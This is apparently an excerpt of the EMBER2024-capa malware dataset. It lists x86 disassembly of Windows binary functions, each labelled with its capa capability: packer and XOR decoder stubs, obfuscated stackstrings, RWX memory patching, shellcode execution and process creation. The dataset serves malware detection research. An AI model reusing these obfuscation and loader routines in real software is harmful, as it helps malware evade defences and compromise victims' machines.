joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1006dfdb
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1006dffd
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1006dffd
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1006dffd
ret
cmp word [ebx + 4], 0x14c
jne 0x1006dffd
test word [ebx + 0x16], 2
je 0x1006dffd
test word [ebx + 0x16], 0x100
je 0x1006dffd
cmp word [ebx + 0x18], 0x10b
jne 0x1006dffd
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1006dffd
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1006e089
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1006e01d
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10054f68
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1006dffd
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x1006e089
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1006dffd
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1006dffd
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1006dffd
ret
cmp word [ebx + 4], 0x14c
jne 0x1006dffd
test word [ebx + 0x16], 2
je 0x1006dffd
test word [ebx + 0x16], 0x100
je 0x1006dffd
cmp word [ebx + 0x18], 0x10b
jne 0x1006dffd
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1006dffd
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1006e089
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1006e01d
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10054f68
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1006dffd
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x1006e140
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1006e199
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1006e140
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1006e14f
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10473df2
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1006e1a0
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.10055016
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1006e23f
add edi, 4
add eax, 2
dec ecx
jne 0x1006e185
call 0x1006e1ec
loope 0x1006e1e2
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1006e23c
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1006e24d
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1006e200
cmp eax, ecx
ja 0x1006e200
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1006e28a
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1006e280
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100554f5
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1006e14f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1006e199
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1006e140
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1006e14f
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10473df2
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x1006e1a0
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.10055016
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1006e23f
add edi, 4
add eax, 2
dec ecx
jne 0x1006e185
call 0x1006e1ec
loope 0x1006e1e2
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1006e23c
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1006e24d
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1006e200
cmp eax, ecx
ja 0x1006e200
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x1006e28a
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1006e280
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100554f5
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x510024
Capabilities:
Packed with generic packer

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx], al
add al, byte [eax]
add byte [eax], al
cld
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, byte [eax]
add byte [eax], al
cld
invalid
stc
jb 0x51002e
pop ds
xor esi, dword [ecx - 0x49]
jno 0x50ffe2
cwde
leave
jmp 0x51008f
pushal
jmp 0x510034
call 0x51003f
dec ecx
stc
mov dl, 0xed
pop ecx
pop ebx
jb 0x510049
jne 0x50ffd9
jge 0x510029
sbb dword [edx - 0x383c7edc], 0xffffffff
invalid
add ebx, 0xffffffc7
jmp 0x510058
cmp dword [ebx], 0
stc
jmp 0x510067
je 0x5100ed
jmp 0x510076
mov ecx, ebx
jmp 0x510081
add ebx, 4
jmp 0x510089
mov edx, dword [ebx]
jmp 0x510097
and eax, 0x8ced9cec
in eax, dx
cmp ebp, dword [ebx + 3]
sar ecx, cl
add edx, ebx
stc
jb 0x5100a3
mov ah, 0xb1
mov ebx, 0xc91a740d
mov eax, dword [ebx + 4]
jmp 0x5100ac
sub dword [edx], 0x3c62176a
jmp 0x5100b6
add edx, 4
jmp 0x5100bf
sub eax, 1
jmp 0x5100c6
jne 0x5100a6
jmp 0x5100d0
add ebx, 8
jmp 0x5100d7
sub dword [ecx], 1
stc
jb 0x5100de
and ecx, dword [edi]
test dword [eax + 0x72ffffff], esp
add dh, byte [ecx + 0xee83b]
add byte [eax], al
jne 0x510084
jb 0x5100e8
mov cl, 0x3b
call 0x5100fb
jmp 0x5100f1
popal
jmp 0x5100f6
jmp 0x50ed00

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408e84
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x58ae5575
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x32776603
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x40b1aa
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x512], 0xe3
and byte [ebp - 0x511], 0
mov byte [ebp - 0x510], 0x5b
mov byte [ebp - 0x50f], 0x79
mov byte [ebp - 0x50e], 0x68
mov byte [ebp - 0x50d], 0x5a
mov byte [ebp - 0x50c], 0x75
mov byte [ebp - 0x50b], 0x70
mov byte [ebp - 0x50a], 0x79
mov byte [ebp - 0x509], 0x4f
mov byte [ebp - 0x508], 0x75
mov byte [ebp - 0x507], 0x66
mov byte [ebp - 0x506], 0x79
mov byte [ebp - 0x505], 0x1c
lea eax, [ebp - 0x514]
push eax
call fcn.0040a595
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040a54a
add esp, 0xc
mov dword [ebp - 0x33c], eax
call fcn.0040a585
popal
ret 0x95af
Function at 0x40c190
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea eax, [ebp + eax - 0x12c]
push eax
call fcn.0040a4f6
add esp, 0xc
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x3a0], eax
jmp 0x40c4fd
push 0xb
lea eax, [ebp - 0x7dc]
push eax
call fcn.0040a595
pop ecx
push eax
mov eax, dword [ebp - 0x338]
lea eax, [ebp + eax - 0x230]
push eax
call fcn.0040a4f6
add esp, 0xc
jmp 0x40c4fd
mov eax, dword [ebp - 0x6fc]
inc eax
mov dword [ebp - 0x6fc], eax
and dword [ebp - 0x37c], 0
call fcn.0040a585
pop edx
stc
jnp 0x40c4d0
push dword [ebp - 0x3a0]
call dword [ebp - 0x704]
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
je 0x40c568
lea eax, [ebp - 0x714]
push eax
call fcn.0040a595
pop ecx
push eax
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
call fcn.0040a54a
add esp, 0xc
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
jne 0x40c568
jmp 0x40bf27
cmp dword [ebp - 0x37c], 0
je 0x40c576
jmp 0x40c62b
push 0
push 0
push 2
push 0
push 2
push 0x40000000
push dword [ebp - 0x3a0]
call dword [ebp - 0x3c8]
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0xffffffff
je 0x40c5cf
push 0
lea eax, [ebp - 0x6c4]
push eax
push dword [ebp - 0x38c]
push dword [ebp - 0x748]
push dword [ebp - 0x380]
call dword [ebp - 0x730]
push dword [ebp - 0x380]
call dword [ebp - 0x680]
jmp 0x40c5d4
jmp 0x40bf27
and dword [ebp - 0x37c], 0
push dword [ebp - 0x3a0]
call dword [ebp - 0x704]
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
je 0x40c61b
lea eax, [ebp - 0x714]
push eax
call fcn.0040a595
pop ecx
push eax
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
call fcn.0040a54a
add esp, 0xc
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
je 0x40c626
jmp 0x40c62b
jmp 0x40bf27
cmp dword [ebp - 0x37c], 0
jne 0x40c6d5
mov eax, dword [ebp - 0x748]
mov dword [ebp - 0x7ec], eax
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x7e8], eax
and dword [ebp - 0x7e0], 0
push 0x1000
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 0x7e4], eax
push dword [ebp - 0x7e4]
lea eax, [ebp - 0x7ec]
push eax
push dword [ebp - 0x748]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040a761
add esp, 0x14
mov dword [ebp - 0x7e0], eax
cmp dword [ebp - 0x7e0], 0
je 0x40c6c1
lea eax, [ebp - 0x714]
push eax
call fcn.0040a595
pop ecx
push eax
push dword [ebp - 0x7e0]
call fcn.0040a62a
pop ecx
pop ecx
mov dword [ebp - 0x37c], eax
push dword [ebp - 0x7e4]
push 1
push dword [ebp - 0x674]
call dword [ebp - 0x39c]
push dword [ebp + 0x1c]
push dword [ebp - 0xc]
push dword [ebp - 0x540]
push dword [ebp - 0x684]
push dword [ebp - 0x688]
push dword [ebp - 0x3ac]
push dword [ebp - 0x400]
push dword [ebp - 0x54c]
push dword [ebp - 0x678]
lea eax, [ebp - 0x334]
push eax
push dword [ebp - 4]
push dword [ebp + 8]
call dword [ebp - 0x37c]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x40152e
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
lea eax, [ebp - 0x124]
mov dword [esp + 8], 1
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x120]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x10c]
mov dword [esp + 4], 1
mov dword [esp], eax
mov dword [ebp - 0x124], 0x14
mov byte [ebp - 0x10c], 0
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
movzx eax, word [ebp - 0x120]
sub esp, 0x14
leave
sub eax, 0x41
ret

Function at 0x40158a
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0xa0
mov dword [ebp - 0x88], 0
call fcn.0040152e
mov dword [esp], 0x401664
mov dword [ebp - 0x8c], 0
mov ebx, eax
lea eax, [ebp - 0x8c]
mov dword [esp + 0xc], eax
mov eax, ebx
or eax, 0x40
mov dword [esp + 8], eax
mov eax, 0x4020c6
sub eax, 0x401664
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x40162d
mov dword [esp], ebx
lea esi, [ebp - 0x88]
call fcn.0040144c
mov dword [esp], ebx
mov dword [esp + 4], esi
call fcn.004014ad
lea eax, [ebx + 0x1b600]
mov cl, bl
mov edx, 0x40300c
shl eax, cl
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov eax, edx
or eax, 1
imul ebx, eax
sub edx, ebx
mov dword [esp], edx
call fcn.00401dc9
lea esp, [ebp - 8]
xor eax, eax
pop ebx
pop esi
pop ebp
ret
Function at 0x419b00
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0xa56218a8
sbb eax, 0xa054bd
xlatb
and al, 0x53
xor ah, dh
fcomp qword [edi + 0xb8270fd]
cmc
sub eax, 0x3d0774e4
sbb byte [edi + 0x17], bl
aaa
xor ecx, edx
jecxz 0x419b1c
jl 0x419b5b
mov dword [0x7e9c2ec7], eax
inc edi
out 0xd0, eax
mov edi, dword [esi]
sbb esi, dword [edx]
int 0xcf
rcl byte [eax]
fiadd dword [ebp + 0x12]
jecxz 0x419b69
sbb al, byte [eax + eax + 0x74000000]
stc
test byte [eax], al
add byte [eax], al
add byte [ecx + edi*8 - 0x43], dh
je 0x419afb
mov ebp, 0x7731d031
add dword [eax], eax
invalid
jp 0x419b0c
je 0x419afb
mov ebp, 0x7731d031
add dword [eax], eax
call 0xab419b88
jae 0x419b16
add byte [ebx + 0x26000673], ch
add byte [esi], ah
add eax, 0x31a8d00
add byte [ecx], ch
cdq
sub byte [0x45157ab7], 0x2e
loopne 0x419abf
add eax, dword [eax]
sub dword [ecx + 0x7ab72d82], ebx
mov bh, 0x7a
adc eax, 0x9ce02e45
int 0x9e
fimul dword [ebp - 0x7d]
shr byte [edx - 0x675b92], 0xf3
ja 0x419b81
leave
inc edi
hlt
jge 0x419bb6
outsd dx, dword [esi]
dec eax
mov bl, dh
xor esi, ebp
aas
wait
sbb ebx, ebx
std
clc
into
ret 0xab06
salc
adc eax, 0xe3fec155
mov dword [0x7160e872], eax
and dword gs:[eax], ebx
lea ebp, [edx]
lea eax, [eax]
cmpsd dword [esi], dword es:[edi]
std
mov ebp, 0x4b70e31b
dec edi
sbb ch, cl
mov eax, 0xdabfde48
hlt
int 0xf8
scasb al, byte es:[edi]
xor ebx, dword [ebx + 0x54]
ret

Function at 0x433001
Capabilities:
Encode data using xor

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x432fcc
ror byte [eax + edx*4], 0x90
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x10001000
Capabilities:
Encode data using xor

Disassembly:
cmp byte [ecx + 0x1f], 0
jne 0x10001020
xor edx, edx
cmp dword [ecx + 0x24], edx
jbe 0x1000101c
nop dword [eax]
mov al, byte [ecx + 0x20]
xor byte [edx + ecx], al
inc edx
cmp edx, dword [ecx + 0x24]
jb 0x10001010
mov byte [ecx + 0x1f], 1
mov eax, ecx
ret

Function at 0x10001030
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x100035e0]
xor ecx, ecx
push ebx
push esi
push edi
movups xmmword [ebp - 0x44], xmm0
mov al, byte [ebp - 0x44]
xor byte [ebp + ecx - 0x43], al
inc ecx
cmp ecx, 0xe
jb 0x10001050
lea eax, [ebp - 0x43]
mov byte [ebp - 0x35], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x34], eax
test eax, eax
je 0x1000117f
push 0x1c
lea ecx, [ebp - 0x24]
xorps xmm0, xmm0
push ecx
xor edi, edi
movq qword [ebp - 0x14], xmm0
xor esi, esi
mov dword [ebp - 0x30], edi
push eax
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x100010b5
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x100010b5
mov esi, dword [eax + ecx + 0x50]
mov edi, ecx
mov dword [ebp - 0x30], ecx
mov dh, 0x56
mov byte [ebp - 0x25], 0
mov ah, dh
mov byte [ebp - 0x2c], dh
mov ch, ah
mov byte [ebp - 0x25], 0
mov al, 0x6f
mov cl, 0xd4
mov dl, 0xbe
mov bl, 0x57
xor al, dh
xor cl, dh
xor dl, dh
mov byte [ebp - 0x2b], al
xor bl, dh
mov byte [ebp - 0x2a], cl
xor ah, dh
mov byte [ebp - 0x29], dl
xor ch, dh
mov byte [ebp - 0x28], bl
add esi, edi
mov byte [ebp - 0x27], ah
mov byte [ebp - 0x26], ch
cmp edi, esi
jae 0x1000117f
mov ebx, edi
neg ebx
nop word [eax + eax]
mov eax, edi
xor edx, edx
lea edi, [ebp - 0x2b]
add edi, ebx
nop dword [eax]
cmp eax, esi
jae 0x10001131
cmp byte [ebx + eax + str.x_xxxx], 0x3f
je 0x10001125
mov cl, byte [edi + eax]
cmp cl, byte [eax]
jne 0x10001131
inc eax
inc edx
cmp byte [ebx + eax + str.x_xxxx], 0
jne 0x10001110
cmp byte [edx + str.x_xxxx], 0
mov edi, dword [ebp - 0x30]
je 0x10001157
inc edi
dec ebx
mov dword [ebp - 0x30], edi
cmp edi, esi
jb 0x10001100
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001fd4
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x1000117f
mov ebx, dword [ebp - 0x34]
lea eax, [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push eax
push 0x40
push 1
push ebx
call esi
lea eax, [ebp - 8]
mov byte [edi + 6], 0xeb
push eax
push dword [ebp - 8]
push 1
push ebx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001fd4
mov esp, ebp
pop ebp
ret

Function at 0x10001fb0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x10001fcb
push 0
push 0
push 0x10001190
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
add esp, 0xc
mov eax, 1
pop ebp
ret 0xc
Function at 0x402b68
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffdf0
mov esi, edx
mov ebx, eax
test bl, bl
je 0x402ba5
xor eax, eax
mov al, bl
add eax, 0x41
dec eax
mov byte [esp], al
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0
lea eax, [esp + 0x109]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
push esp
call sub.kernel32.dll_SetCurrentDirectoryA
lea eax, [esp + 4]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
test bl, bl
je 0x402bc5
lea eax, [esp + 0x109]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
mov eax, esi
lea edx, [esp + 4]
mov ecx, 0x105
call fcn.00404d04
add esp, 0x210
pop esi
pop ebx
ret

Function at 0x402e0c
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x402e65
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
call sub.kernel32.dll_GetCommandLineA
lea edx, [ebp - 8]
call fcn.00402ca8
mov dword [ebp - 4], eax
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00402ca8
mov dword [ebp - 4], eax
cmp dword [ebp - 8], 0
je 0x402e4f
inc ebx
jmp 0x402e38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402e6c
lea eax, [ebp - 8]
call fcn.00404a94
ret

Function at 0x402e74
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404a94
test esi, esi
jne 0x402eab
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.00404b84
jmp 0x402ecc
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402ca8
mov dword [esp], eax
test esi, esi
je 0x402ecc
cmp dword [ebx], 0
je 0x402ecc
dec esi
jmp 0x402eb3
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x404910
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x41d044], 0
je 0x404971
cmp word [0x41d218], 0xd7b2
jne 0x404939
cmp dword [0x41d220], 0
jbe 0x404939
mov eax, 0x41d214
call dword [0x41d230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x41c0b8
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404998
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x41c02c], 0
jne 0x40498d
push 0
push 0x41c0b0
push 0x41c0b8
